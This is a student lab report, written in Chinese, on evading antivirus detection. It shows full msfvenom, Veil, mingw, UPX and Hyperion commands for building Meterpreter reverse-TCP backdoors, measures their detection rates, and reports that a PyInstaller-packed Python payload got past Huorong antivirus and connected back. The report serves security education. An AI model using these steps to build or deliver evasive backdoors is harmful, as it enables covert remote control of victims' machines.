一.实验内容
(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧。
正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
veil,加壳工具
使用C + shellcode编程
(2)通过组合应用各种技术实现恶意代码免杀。
如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本。
二.问题回答
(1)杀软是如何检测出恶意代码的?
特征码扫描:比对文件中的代码片段与已知病毒特征库,类似“黑名单”匹配。
启发式分析:通过行为规则或代码结构推测可疑行为,无需完整特征。
行为监控:运行时检测程序动作,发现恶意活动即拦截。
沙箱分析:在虚拟隔离环境中运行可疑文件,观察其行为后再判定风险。
云查杀:上传文件信息到云端数据库,实时比对最新威胁情报。
(2)免杀是做什么?
免杀就是通过修改代码或行为,让恶意软件躲过杀毒软件的检测。常用手段包括:改特征(让杀软认不出)、藏内存(不生成文件)、骗沙箱(假装正常程序)。
(3) 免杀的基本方法有哪些?
改特征:加壳、混淆代码,让杀软认不出文件。
藏内存:不生成文件,将恶意代码注入正常程序内存运行。
骗沙箱:检测运行环境,如果是沙箱或虚拟机就不发作。
三.实验过程
3.1正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧。
(1)使用msf编码器,使用指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.91.131 LPORT=2302 -f exe >20232302_1.exe生成一个后门可执行文件

(2)将生成的后门放入virustotal中进行检测。

如图所示免杀效果为49/72,后门很容易被检测,因此尝试用msf对后门程序进行一次到多次的编码,查看重新编码后的程序在AV中的扫描效果。
(3)使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.91.131 LPORT=2302 -f exe >20232302_2.exe,并进行检测


如图所示效果还是不好
(4)使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b '\x00' LHOST=192.168.91.131 LPORT=2302 -f exe >20232302_3.exe对后门进行12次编码,并进行检测


如图所示效果依旧不好甚至不如上一个
(5)使用msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.91.131 LPORT=2302 -f jar >20232302.jar生成jar文件,并进行检测


如图所示有了一定的效果但还是不够
(6)msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.91.131 LPORT=2302 x >20232302.php生成.php文件,并进行检测。


有一定效果继续
(7)使用msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.91.131 LPORT=2302 -f >20232302..py生成.py文件,并进行检测。


如图可见py效果是最好的
(8)使用msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.91.131 LPORT=2302 x >20232302..apk生成.apk文件,并进行检测。


3.2使用veil-evasion生成后门程序
(1)先更改虚拟机的内存留出足够的空间安装veil,接着使用sudo apt -y install veil
和usr/share/veil/config/setup.sh --force --silent安装

(2)接着打开veil并输入use 1进入Evasion模块


(3)输入list查看载荷种类

如图所示载荷c/meterpreter/rev_tcp的序号为7
(4)通过上述的序号查看使用use 7选择该载荷并输入以下代码进行配置
set LHOST 192.168.91.131
set LPORT 2302
generate

(4)通过路径/var/lib/veil/output/compiled/20232302.exe找到后门程序,并进行检测


如图所示效果还是不太好
3.3使用C + shellcode编程实现免杀
(1)使用msfvenom-pwindows/meterpreter/reverse_tcpLHOST=192.168.91.131LPORT=2302 -f c
对2302.c进行编辑,将buf添加到代码中

(2)输入i686-w64-mingw32-g++ 20232302.c -o 20232302__111.exe运行程序并进行检测


如图所示可以提升免杀效果
3.4加壳工具
(1)使用命令upx 20232302_111.exe -o 20232302_111_upx.exe对exe程序进行加壳,并进行扫描


如图所示免杀效果降低了,说明upx工具已被杀毒软件标记,因此更容易被检测。
(2)接着进入上述目录下使用wine hyperion.exe -v 20232302_111.exe 20232302_111_hyp.exe,使用wine在linux下运行hyperion加密器对文件进行加密,并进行检测。


如图所示,效果还是不行,因此hyperion不适用
3.5通过组合应用各种技术实现恶意代码免杀
在上述的实验过程中可以发现py文件具有最好的免杀效果所以我们继续用。Py文件并将它传到主机上

此时要在主机的终端上安装PyInstaller这样可以将.py文件打包成.exe,接着进行检测

如图所示已经可以达到免杀效果
3.6使用火绒杀毒软件,并在虚拟机上完成回连(主机:win11)
(1)重新生成一个文件过程和上面一样的.py文件,注意要在终端进行重新打包

(2)在主机端用火绒查杀

如图所示可以达到免杀效果
(3)进行监听和回连测试


成功!
四.问题及解决方案
问题一:virus total人机验证总是过不去
解决:注册账号,这样就能每次只验证一次了
问题二:系统无法找到 AutoIt v3 组件的 WINE 配置文件,导致工具无法正常使用

解决:使用命令sudo /usr/share/veil/config/setup.sh --force --silent下载并配置缺失的 AutoIt v3 组件及其他必要的 WINE 环境
五.学习感悟
通过本次对免杀工具的使用,我深刻体会到后门制作与免杀技术的精妙。我们成功将检测率大幅降低,这引发深思:面对更前沿的隐藏技术,依赖特征码的杀软确实难以应对,凸显了其固有的滞后性。实践表明,静态免杀通常只能骗过初步扫描,程序运行后仍易触发行为监控而被拦截。因此,实际攻击往往需要社会工程学配合,诱导用户关闭防护。这一认知让我明白,网络安全绝非单纯的技术攻防。
